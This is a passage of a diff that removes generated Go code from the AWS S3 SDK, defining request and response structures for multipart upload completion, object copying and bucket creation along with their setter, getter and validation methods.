SetPrefix(v string) *CommonPrefix { - s.Prefix = &v - return s -} - -type CompleteMultipartUploadInput struct { - _ struct{} `type:"structure" payload:"MultipartUpload"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - MultipartUpload *CompletedMultipartUpload `locationName:"CompleteMultipartUpload" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // UploadId is a required field - UploadId *string `location:"querystring" locationName:"uploadId" type:"string" required:"true"` -} - -// String returns the string representation -func (s CompleteMultipartUploadInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CompleteMultipartUploadInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *CompleteMultipartUploadInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "CompleteMultipartUploadInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.UploadId == nil { - invalidParams.Add(request.NewErrParamRequired("UploadId")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *CompleteMultipartUploadInput) SetBucket(v string) *CompleteMultipartUploadInput { - s.Bucket = &v - return s -} - -func (s *CompleteMultipartUploadInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *CompleteMultipartUploadInput) SetKey(v string) *CompleteMultipartUploadInput { - s.Key = &v - return s -} - -// SetMultipartUpload sets the MultipartUpload field's value. -func (s *CompleteMultipartUploadInput) SetMultipartUpload(v *CompletedMultipartUpload) *CompleteMultipartUploadInput { - s.MultipartUpload = v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *CompleteMultipartUploadInput) SetRequestPayer(v string) *CompleteMultipartUploadInput { - s.RequestPayer = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *CompleteMultipartUploadInput) SetUploadId(v string) *CompleteMultipartUploadInput { - s.UploadId = &v - return s -} - -type CompleteMultipartUploadOutput struct { - _ struct{} `type:"structure"` - - Bucket *string `type:"string"` - - // Entity tag of the object. - ETag *string `type:"string"` - - // If the object expiration is configured, this will contain the expiration - // date (expiry-date) and rule ID (rule-id). The value of rule-id is URL encoded. - Expiration *string `location:"header" locationName:"x-amz-expiration" type:"string"` - - Key *string `min:"1" type:"string"` - - Location *string `type:"string"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // Version of the object. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s CompleteMultipartUploadOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CompleteMultipartUploadOutput) GoString() string { - return s.String() -} - -// SetBucket sets the Bucket field's value. -func (s *CompleteMultipartUploadOutput) SetBucket(v string) *CompleteMultipartUploadOutput { - s.Bucket = &v - return s -} - -func (s *CompleteMultipartUploadOutput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetETag sets the ETag field's value. -func (s *CompleteMultipartUploadOutput) SetETag(v string) *CompleteMultipartUploadOutput { - s.ETag = &v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *CompleteMultipartUploadOutput) SetExpiration(v string) *CompleteMultipartUploadOutput { - s.Expiration = &v - return s -} - -// SetKey sets the Key field's value. -func (s *CompleteMultipartUploadOutput) SetKey(v string) *CompleteMultipartUploadOutput { - s.Key = &v - return s -} - -// SetLocation sets the Location field's value. -func (s *CompleteMultipartUploadOutput) SetLocation(v string) *CompleteMultipartUploadOutput { - s.Location = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *CompleteMultipartUploadOutput) SetRequestCharged(v string) *CompleteMultipartUploadOutput { - s.RequestCharged = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *CompleteMultipartUploadOutput) SetSSEKMSKeyId(v string) *CompleteMultipartUploadOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *CompleteMultipartUploadOutput) SetServerSideEncryption(v string) *CompleteMultipartUploadOutput { - s.ServerSideEncryption = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *CompleteMultipartUploadOutput) SetVersionId(v string) *CompleteMultipartUploadOutput { - s.VersionId = &v - return s -} - -type CompletedMultipartUpload struct { - _ struct{} `type:"structure"` - - Parts []*CompletedPart `locationName:"Part" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s CompletedMultipartUpload) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CompletedMultipartUpload) GoString() string { - return s.String() -} - -// SetParts sets the Parts field's value. -func (s *CompletedMultipartUpload) SetParts(v []*CompletedPart) *CompletedMultipartUpload { - s.Parts = v - return s -} - -type CompletedPart struct { - _ struct{} `type:"structure"` - - // Entity tag returned when the part was uploaded. - ETag *string `type:"string"` - - // Part number that identifies the part. This is a positive integer between - // 1 and 10,000. - PartNumber *int64 `type:"integer"` -} - -// String returns the string representation -func (s CompletedPart) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CompletedPart) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *CompletedPart) SetETag(v string) *CompletedPart { - s.ETag = &v - return s -} - -// SetPartNumber sets the PartNumber field's value. -func (s *CompletedPart) SetPartNumber(v int64) *CompletedPart { - s.PartNumber = &v - return s -} - -type Condition struct { - _ struct{} `type:"structure"` - - // The HTTP error code when the redirect is applied. In the event of an error, - // if the error code equals this value, then the specified redirect is applied. - // Required when parent element Condition is specified and sibling KeyPrefixEquals - // is not specified. If both are specified, then both must be true for the redirect - // to be applied. - HttpErrorCodeReturnedEquals *string `type:"string"` - - // The object key name prefix when the redirect is applied. For example, to - // redirect requests for ExamplePage.html, the key prefix will be ExamplePage.html. - // To redirect request for all pages with the prefix docs/, the key prefix will - // be /docs, which identifies all objects in the docs/ folder. Required when - // the parent element Condition is specified and sibling HttpErrorCodeReturnedEquals - // is not specified. If both conditions are specified, both must be true for - // the redirect to be applied. - KeyPrefixEquals *string `type:"string"` -} - -// String returns the string representation -func (s Condition) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Condition) GoString() string { - return s.String() -} - -// SetHttpErrorCodeReturnedEquals sets the HttpErrorCodeReturnedEquals field's value. -func (s *Condition) SetHttpErrorCodeReturnedEquals(v string) *Condition { - s.HttpErrorCodeReturnedEquals = &v - return s -} - -// SetKeyPrefixEquals sets the KeyPrefixEquals field's value. -func (s *Condition) SetKeyPrefixEquals(v string) *Condition { - s.KeyPrefixEquals = &v - return s -} - -type ContinuationEvent struct { - _ struct{} `locationName:"ContinuationEvent" type:"structure"` -} - -// String returns the string representation -func (s ContinuationEvent) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ContinuationEvent) GoString() string { - return s.String() -} - -// The ContinuationEvent is and event in the SelectObjectContentEventStream group of events. -func (s *ContinuationEvent) eventSelectObjectContentEventStream() {} - -// UnmarshalEvent unmarshals the EventStream Message into the ContinuationEvent value. -// This method is only used internally within the SDK's EventStream handling. -func (s *ContinuationEvent) UnmarshalEvent( - payloadUnmarshaler protocol.PayloadUnmarshaler, - msg eventstream.Message, -) error { - return nil -} - -type CopyObjectInput struct { - _ struct{} `type:"structure"` - - // The canned ACL to apply to the object. - ACL *string `location:"header" locationName:"x-amz-acl" type:"string" enum:"ObjectCannedACL"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Specifies caching behavior along the request/reply chain. - CacheControl *string `location:"header" locationName:"Cache-Control" type:"string"` - - // Specifies presentational information for the object. - ContentDisposition *string `location:"header" locationName:"Content-Disposition" type:"string"` - - // Specifies what content encodings have been applied to the object and thus - // what decoding mechanisms must be applied to obtain the media-type referenced - // by the Content-Type header field. - ContentEncoding *string `location:"header" locationName:"Content-Encoding" type:"string"` - - // The language the content is in. - ContentLanguage *string `location:"header" locationName:"Content-Language" type:"string"` - - // A standard MIME type describing the format of the object data. - ContentType *string `location:"header" locationName:"Content-Type" type:"string"` - - // The name of the source bucket and key name of the source object, separated - // by a slash (/). Must be URL-encoded. - // - // CopySource is a required field - CopySource *string `location:"header" locationName:"x-amz-copy-source" type:"string" required:"true"` - - // Copies the object if its entity tag (ETag) matches the specified tag. - CopySourceIfMatch *string `location:"header" locationName:"x-amz-copy-source-if-match" type:"string"` - - // Copies the object if it has been modified since the specified time. - CopySourceIfModifiedSince *time.Time `location:"header" locationName:"x-amz-copy-source-if-modified-since" type:"timestamp"` - - // Copies the object if its entity tag (ETag) is different than the specified - // ETag. - CopySourceIfNoneMatch *string `location:"header" locationName:"x-amz-copy-source-if-none-match" type:"string"` - - // Copies the object if it hasn't been modified since the specified time. - CopySourceIfUnmodifiedSince *time.Time `location:"header" locationName:"x-amz-copy-source-if-unmodified-since" type:"timestamp"` - - // Specifies the algorithm to use when decrypting the source object (e.g., AES256). - CopySourceSSECustomerAlgorithm *string `location:"header" locationName:"x-amz-copy-source-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use to decrypt - // the source object. The encryption key provided in this header must be one - // that was used when the source object was created. - CopySourceSSECustomerKey *string `location:"header" locationName:"x-amz-copy-source-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - CopySourceSSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-copy-source-server-side-encryption-customer-key-MD5" type:"string"` - - // The date and time at which the object is no longer cacheable. - Expires *time.Time `location:"header" locationName:"Expires" type:"timestamp"` - - // Gives the grantee READ, READ_ACP, and WRITE_ACP permissions on the object. - GrantFullControl *string `location:"header" locationName:"x-amz-grant-full-control" type:"string"` - - // Allows grantee to read the object data and its metadata. - GrantRead *string `location:"header" locationName:"x-amz-grant-read" type:"string"` - - // Allows grantee to read the object ACL. - GrantReadACP *string `location:"header" locationName:"x-amz-grant-read-acp" type:"string"` - - // Allows grantee to write the ACL for the applicable object. - GrantWriteACP *string `location:"header" locationName:"x-amz-grant-write-acp" type:"string"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // A map of metadata to store with the object in S3. - Metadata map[string]*string `location:"headers" locationName:"x-amz-meta-" type:"map"` - - // Specifies whether the metadata is copied from the source object or replaced - // with metadata provided in the request. - MetadataDirective *string `location:"header" locationName:"x-amz-metadata-directive" type:"string" enum:"MetadataDirective"` - - // Specifies whether you want to apply a Legal Hold to the copied object. - ObjectLockLegalHoldStatus *string `location:"header" locationName:"x-amz-object-lock-legal-hold" type:"string" enum:"ObjectLockLegalHoldStatus"` - - // The Object Lock mode that you want to apply to the copied object. - ObjectLockMode *string `location:"header" locationName:"x-amz-object-lock-mode" type:"string" enum:"ObjectLockMode"` - - // The date and time when you want the copied object's Object Lock to expire. - ObjectLockRetainUntilDate *time.Time `location:"header" locationName:"x-amz-object-lock-retain-until-date" type:"timestamp" timestampFormat:"iso8601"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // Specifies the AWS KMS key ID to use for object encryption. All GET and PUT - // requests for an object protected by AWS KMS will fail if not made via SSL - // or using SigV4. Documentation on configuring any of the officially supported - // AWS SDKs and CLI can be found at http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAWSSDK.html#specify-signature-version - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // The type of storage to use for the object. Defaults to 'STANDARD'. - StorageClass *string `location:"header" locationName:"x-amz-storage-class" type:"string" enum:"StorageClass"` - - // The tag-set for the object destination object this value must be used in - // conjunction with the TaggingDirective. The tag-set must be encoded as URL - // Query parameters - Tagging *string `location:"header" locationName:"x-amz-tagging" type:"string"` - - // Specifies whether the object tag-set are copied from the source object or - // replaced with tag-set provided in the request. - TaggingDirective *string `location:"header" locationName:"x-amz-tagging-directive" type:"string" enum:"TaggingDirective"` - - // If the bucket is configured as a website, redirects requests for this object - // to another object in the same bucket or to an external URL. Amazon S3 stores - // the value of this header in the object metadata. - WebsiteRedirectLocation *string `location:"header" locationName:"x-amz-website-redirect-location" type:"string"` -} - -// String returns the string representation -func (s CopyObjectInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CopyObjectInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *CopyObjectInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "CopyObjectInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.CopySource == nil { - invalidParams.Add(request.NewErrParamRequired("CopySource")) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetACL sets the ACL field's value. -func (s *CopyObjectInput) SetACL(v string) *CopyObjectInput { - s.ACL = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *CopyObjectInput) SetBucket(v string) *CopyObjectInput { - s.Bucket = &v - return s -} - -func (s *CopyObjectInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCacheControl sets the CacheControl field's value. -func (s *CopyObjectInput) SetCacheControl(v string) *CopyObjectInput { - s.CacheControl = &v - return s -} - -// SetContentDisposition sets the ContentDisposition field's value. -func (s *CopyObjectInput) SetContentDisposition(v string) *CopyObjectInput { - s.ContentDisposition = &v - return s -} - -// SetContentEncoding sets the ContentEncoding field's value. -func (s *CopyObjectInput) SetContentEncoding(v string) *CopyObjectInput { - s.ContentEncoding = &v - return s -} - -// SetContentLanguage sets the ContentLanguage field's value. -func (s *CopyObjectInput) SetContentLanguage(v string) *CopyObjectInput { - s.ContentLanguage = &v - return s -} - -// SetContentType sets the ContentType field's value. -func (s *CopyObjectInput) SetContentType(v string) *CopyObjectInput { - s.ContentType = &v - return s -} - -// SetCopySource sets the CopySource field's value. -func (s *CopyObjectInput) SetCopySource(v string) *CopyObjectInput { - s.CopySource = &v - return s -} - -// SetCopySourceIfMatch sets the CopySourceIfMatch field's value. -func (s *CopyObjectInput) SetCopySourceIfMatch(v string) *CopyObjectInput { - s.CopySourceIfMatch = &v - return s -} - -// SetCopySourceIfModifiedSince sets the CopySourceIfModifiedSince field's value. -func (s *CopyObjectInput) SetCopySourceIfModifiedSince(v time.Time) *CopyObjectInput { - s.CopySourceIfModifiedSince = &v - return s -} - -// SetCopySourceIfNoneMatch sets the CopySourceIfNoneMatch field's value. -func (s *CopyObjectInput) SetCopySourceIfNoneMatch(v string) *CopyObjectInput { - s.CopySourceIfNoneMatch = &v - return s -} - -// SetCopySourceIfUnmodifiedSince sets the CopySourceIfUnmodifiedSince field's value. -func (s *CopyObjectInput) SetCopySourceIfUnmodifiedSince(v time.Time) *CopyObjectInput { - s.CopySourceIfUnmodifiedSince = &v - return s -} - -// SetCopySourceSSECustomerAlgorithm sets the CopySourceSSECustomerAlgorithm field's value. -func (s *CopyObjectInput) SetCopySourceSSECustomerAlgorithm(v string) *CopyObjectInput { - s.CopySourceSSECustomerAlgorithm = &v - return s -} - -// SetCopySourceSSECustomerKey sets the CopySourceSSECustomerKey field's value. -func (s *CopyObjectInput) SetCopySourceSSECustomerKey(v string) *CopyObjectInput { - s.CopySourceSSECustomerKey = &v - return s -} - -func (s *CopyObjectInput) getCopySourceSSECustomerKey() (v string) { - if s.CopySourceSSECustomerKey == nil { - return v - } - return *s.CopySourceSSECustomerKey -} - -// SetCopySourceSSECustomerKeyMD5 sets the CopySourceSSECustomerKeyMD5 field's value. -func (s *CopyObjectInput) SetCopySourceSSECustomerKeyMD5(v string) *CopyObjectInput { - s.CopySourceSSECustomerKeyMD5 = &v - return s -} - -// SetExpires sets the Expires field's value. -func (s *CopyObjectInput) SetExpires(v time.Time) *CopyObjectInput { - s.Expires = &v - return s -} - -// SetGrantFullControl sets the GrantFullControl field's value. -func (s *CopyObjectInput) SetGrantFullControl(v string) *CopyObjectInput { - s.GrantFullControl = &v - return s -} - -// SetGrantRead sets the GrantRead field's value. -func (s *CopyObjectInput) SetGrantRead(v string) *CopyObjectInput { - s.GrantRead = &v - return s -} - -// SetGrantReadACP sets the GrantReadACP field's value. -func (s *CopyObjectInput) SetGrantReadACP(v string) *CopyObjectInput { - s.GrantReadACP = &v - return s -} - -// SetGrantWriteACP sets the GrantWriteACP field's value. -func (s *CopyObjectInput) SetGrantWriteACP(v string) *CopyObjectInput { - s.GrantWriteACP = &v - return s -} - -// SetKey sets the Key field's value. -func (s *CopyObjectInput) SetKey(v string) *CopyObjectInput { - s.Key = &v - return s -} - -// SetMetadata sets the Metadata field's value. -func (s *CopyObjectInput) SetMetadata(v map[string]*string) *CopyObjectInput { - s.Metadata = v - return s -} - -// SetMetadataDirective sets the MetadataDirective field's value. -func (s *CopyObjectInput) SetMetadataDirective(v string) *CopyObjectInput { - s.MetadataDirective = &v - return s -} - -// SetObjectLockLegalHoldStatus sets the ObjectLockLegalHoldStatus field's value. -func (s *CopyObjectInput) SetObjectLockLegalHoldStatus(v string) *CopyObjectInput { - s.ObjectLockLegalHoldStatus = &v - return s -} - -// SetObjectLockMode sets the ObjectLockMode field's value. -func (s *CopyObjectInput) SetObjectLockMode(v string) *CopyObjectInput { - s.ObjectLockMode = &v - return s -} - -// SetObjectLockRetainUntilDate sets the ObjectLockRetainUntilDate field's value. -func (s *CopyObjectInput) SetObjectLockRetainUntilDate(v time.Time) *CopyObjectInput { - s.ObjectLockRetainUntilDate = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *CopyObjectInput) SetRequestPayer(v string) *CopyObjectInput { - s.RequestPayer = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *CopyObjectInput) SetSSECustomerAlgorithm(v string) *CopyObjectInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *CopyObjectInput) SetSSECustomerKey(v string) *CopyObjectInput { - s.SSECustomerKey = &v - return s -} - -func (s *CopyObjectInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *CopyObjectInput) SetSSECustomerKeyMD5(v string) *CopyObjectInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *CopyObjectInput) SetSSEKMSKeyId(v string) *CopyObjectInput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *CopyObjectInput) SetServerSideEncryption(v string) *CopyObjectInput { - s.ServerSideEncryption = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *CopyObjectInput) SetStorageClass(v string) *CopyObjectInput { - s.StorageClass = &v - return s -} - -// SetTagging sets the Tagging field's value. -func (s *CopyObjectInput) SetTagging(v string) *CopyObjectInput { - s.Tagging = &v - return s -} - -// SetTaggingDirective sets the TaggingDirective field's value. -func (s *CopyObjectInput) SetTaggingDirective(v string) *CopyObjectInput { - s.TaggingDirective = &v - return s -} - -// SetWebsiteRedirectLocation sets the WebsiteRedirectLocation field's value. -func (s *CopyObjectInput) SetWebsiteRedirectLocation(v string) *CopyObjectInput { - s.WebsiteRedirectLocation = &v - return s -} - -type CopyObjectOutput struct { - _ struct{} `type:"structure" payload:"CopyObjectResult"` - - CopyObjectResult *CopyObjectResult `type:"structure"` - - CopySourceVersionId *string `location:"header" locationName:"x-amz-copy-source-version-id" type:"string"` - - // If the object expiration is configured, the response includes this header. - Expiration *string `location:"header" locationName:"x-amz-expiration" type:"string"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // Version ID of the newly created copy. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s CopyObjectOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CopyObjectOutput) GoString() string { - return s.String() -} - -// SetCopyObjectResult sets the CopyObjectResult field's value. -func (s *CopyObjectOutput) SetCopyObjectResult(v *CopyObjectResult) *CopyObjectOutput { - s.CopyObjectResult = v - return s -} - -// SetCopySourceVersionId sets the CopySourceVersionId field's value. -func (s *CopyObjectOutput) SetCopySourceVersionId(v string) *CopyObjectOutput { - s.CopySourceVersionId = &v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *CopyObjectOutput) SetExpiration(v string) *CopyObjectOutput { - s.Expiration = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *CopyObjectOutput) SetRequestCharged(v string) *CopyObjectOutput { - s.RequestCharged = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *CopyObjectOutput) SetSSECustomerAlgorithm(v string) *CopyObjectOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *CopyObjectOutput) SetSSECustomerKeyMD5(v string) *CopyObjectOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *CopyObjectOutput) SetSSEKMSKeyId(v string) *CopyObjectOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *CopyObjectOutput) SetServerSideEncryption(v string) *CopyObjectOutput { - s.ServerSideEncryption = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *CopyObjectOutput) SetVersionId(v string) *CopyObjectOutput { - s.VersionId = &v - return s -} - -type CopyObjectResult struct { - _ struct{} `type:"structure"` - - ETag *string `type:"string"` - - LastModified *time.Time `type:"timestamp"` -} - -// String returns the string representation -func (s CopyObjectResult) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CopyObjectResult) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *CopyObjectResult) SetETag(v string) *CopyObjectResult { - s.ETag = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *CopyObjectResult) SetLastModified(v time.Time) *CopyObjectResult { - s.LastModified = &v - return s -} - -type CopyPartResult struct { - _ struct{} `type:"structure"` - - // Entity tag of the object. - ETag *string `type:"string"` - - // Date and time at which the object was uploaded. - LastModified *time.Time `type:"timestamp"` -} - -// String returns the string representation -func (s CopyPartResult) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CopyPartResult) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *CopyPartResult) SetETag(v string) *CopyPartResult { - s.ETag = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *CopyPartResult) SetLastModified(v time.Time) *CopyPartResult { - s.LastModified = &v - return s -} - -type CreateBucketConfiguration struct { - _ struct{} `type:"structure"` - - // Specifies the region where the bucket will be created. If you don't specify - // a region, the bucket is created in US East (N. Virginia) Region (us-east-1). - LocationConstraint *string `type:"string" enum:"BucketLocationConstraint"` -} - -// String returns the string representation -func (s CreateBucketConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CreateBucketConfiguration) GoString() string { - return s.String() -} - -// SetLocationConstraint sets the LocationConstraint field's value. -func (s *CreateBucketConfiguration) SetLocationConstraint(v string) *CreateBucketConfiguration { - s.LocationConstraint = &v - return s -} - -type CreateBucketInput struct { - _ struct{} `type:"structure" payload:"CreateBucketConfiguration"` - - // The canned ACL to apply to the bucket. - ACL *string `location:"header" locationName:"x-amz-acl" type:"string" enum:"BucketCannedACL"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - CreateBucketConfiguration *CreateBucketConfiguration `locationName:"CreateBucketConfiguration" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Allows grantee the read, write, read ACP, and write ACP permissions on the - // bucket. - GrantFullControl *string `location:"header" locationName:"x-amz-grant-full-control" type:"string"` - - // Allows grantee to list the objects in the bucket. - GrantRead *string `location:"header" locationName:"x-amz-grant-read" type:"string"` - - // Allows grantee to read the bucket ACL. - GrantReadACP *string `location:"header" locationName:"x-amz-grant-read-acp" type:"string"` - - // Allows grantee to create, overwrite, and delete any object in the bucket. - GrantWrite *string `location:"header" locationName:"x-amz-grant-write" type:"string"` - - // Allows grantee to write the ACL for the applicable bucket. - GrantWriteACP *string `location:"header" locationName:"x-amz-grant-write-acp" type:"string"` - - // Specifies whether you want S3 Object Lock to be enabled for the new bucket. - ObjectLockEnabledForBucket *bool `location:"header" locationName:"x-amz-bucket-object-lock-enabled" type:"boolean"` -} - -// String returns the string representation -func (s CreateBucketInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CreateBucketInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *CreateBucketInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "CreateBucketInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetACL sets the ACL field's value. -func (s *CreateBucketInput) SetACL(v string) *CreateBucketInput { - s.ACL = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *CreateBucketInput) SetBucket(v string) *CreateBucketInput { - s.Bucket = &v - return s -} - -func (s *CreateBucketInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCreateBucketConfiguration sets the CreateBucketConfiguration field's value. -func (s *CreateBucketInput) SetCreateBucketConfiguration(v *CreateBucketConfiguration) *CreateBucketInput { - s.CreateBucketConfiguration = v - return s -} - -// SetGrantFullControl sets the GrantFullControl field's value. -func (s *CreateBucketInput) SetGrantFullControl(v string) *CreateBucketInput { - s.GrantFullControl = &v - return s -} - -// SetGrantRead sets the GrantRead 